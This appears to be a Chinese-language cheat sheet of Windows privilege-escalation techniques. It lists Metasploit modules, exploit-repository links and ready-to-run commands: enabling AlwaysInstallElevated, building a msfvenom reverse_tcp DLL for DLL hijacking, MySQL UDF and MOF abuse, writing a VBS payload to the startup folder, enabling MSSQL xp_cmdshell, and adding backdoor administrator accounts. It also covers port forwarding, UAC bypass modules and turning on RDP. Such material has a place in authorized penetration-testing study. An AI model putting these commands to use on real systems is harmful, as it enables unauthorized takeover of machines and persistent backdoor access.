windows提权
windows安全要素
- Token
- password
- 安全描述符(SID和ACL组成)
- SID
- 组SID
- DACL任意访问控制列表,如果没有此表说明任何对象可访问
- SACL系统访问控制列表,指出存取方式(读、写、运行等)细节
- SID 如S-1-5-21-310440588-250036847-580389505-500
- 遵循模式S-R-IA_SA_SA_SA_RID
- S指明这是SID
- R是修订级别为1
- IA代表颁发机构ID编号为21
- SA代表子机构
- RID代表相对ID是SA指派的独立ID
- ACL(访问控制列表)
内核提权
找到对应版本可利用漏洞直接利用
#MSF利用
post/windows/gather/enum_patches #查补丁
post/multi/recon/local_exploit_suggester #查exp
#对照系统版本找exp
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
系统配置错误提权
系统自动运行的一些服务权限较高,可替换服务文件
#msf利用
exploit/windows/local/service_permissions #权限劫持
没有双引号导致运行被劫持
#msf利用
set AutoRunScript migrate -f #自动迁移进程
注册键AlwaysInstallElevated允许其他用户以system权限安装文件
#cmd
#查看是否开启
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#查看权限SeRestorePrivilege和SeTakeOwnershipPrivilege
whoami /priv
#开启AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
网管一键安装配置文件可能泄露管理员密码
#cmd
dir /b /s c:\Unattend.xml
#msf
post/windows/gather/enum_unattend #对此配置文件扫描
本地dll劫持 优先加载程序文件目录
#dll加载顺序
应用程序目录
c:\windows\System32
c:\window\System
c:\windows
当前工作目录
PATH(先System后User)
#火绒剑找位置文件或数字签名文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=port -f dll > lib.dll
第三方提权
mysql提权
想办法拿到root密码
-
查找数据库配置文件
关键字:
config
、conn
、sql
、data
、inc
、database
等 -
下载mysql安装路径下的数据文件
- 安装路径下的data目录中存放的是数据库的数据信息
- root账号密码存储在mysql数据库下的user表中
- 完整路径=安装路径+
\data\mysql\user.MYD
-
暴力破解
udf提权
用户自定函数
udf.dll文件在windows2003下放在:c:\windows\system32 在windows2000放在:c:\winnt\system32
mysql5.1之后放/lib/plugin 文件后缀dll
#查看plugin目录
show variables like "%plugin%"
#在my.ini添加 secure-file-priv= 保存重启mysql即可
SELECT @@global.secure_file_priv
#把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll”
create function cmdshell returns string soname 'udf.dll';
#执行cmdshell
select cmdshell('net user actist 123456 /add');
select cmdshell('net localgroup administrators actist /add');
#删除cmd函数
drop function cmdshell;
mof提权
对象托管格式 每五秒监控进程创建和死亡
#03及以下;
#有权限读写c:\windows\system32\wbem\mof目录;
#secure-file-priv=
#导入恶意mof
select load_file('C:/www/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
#msf
use exploit/windows/mysql/mysql_mof
#允许外联可以直接打
启动项提权
#2003目录
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008目录
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
#写入a.vbs执行代码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
mssql提权
xp_cmdshell被删除可以使用sp_oacreate,自行百度
#从敏感文件带conn,data,config,web等词的找sa密码
web.config/config.asp/conn.aspx/database.aspx
#开启xp_cmdshell
Exec sp_configure 'show advanced options',1;reconfigure; #允许修改高级参数
exec sp_configure 'xp_cmdshell',1;reconfigure; #打开xp_cmdshell
#添加系统用户
Exec master.dbo.xp_cmdshell 'net user act 123456 /add & net localgroup administrators act /add'
Oracle提权
定义者权限给了某些情况下调用者使用定义者权限的机会,无论调用者是谁,执行存储过程的结果权限为定义者权限
和linux提权中的suid原理类似
oracle执行Java代码的过程
1、创建Java库
2、赋予Java权限
3、创建函数
4、赋予函数执行权限
5、执行
#SYS创建的存储过程存在sql注入(EG:CVE-2005-4832); 用户拥有create procedure权限(用来创建函数)
auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
G6 FTP提权
默认端口8021,
#查看密码解密
C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
#无法外部访问,做端口转发
lcx.exe -tran 2333 127.0.0.1 8021
#攻击端下载ftp管理工具登录在用户设置中植入bat代码文件并执行
net user act QWEasd123 /add && net localgroup administrators act /add
#和启动项一样,重启时自动执行
bypassuac
uac是用户账户控制,弹框用户点击确认授权
#msf
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
msf开3389
run getgui -e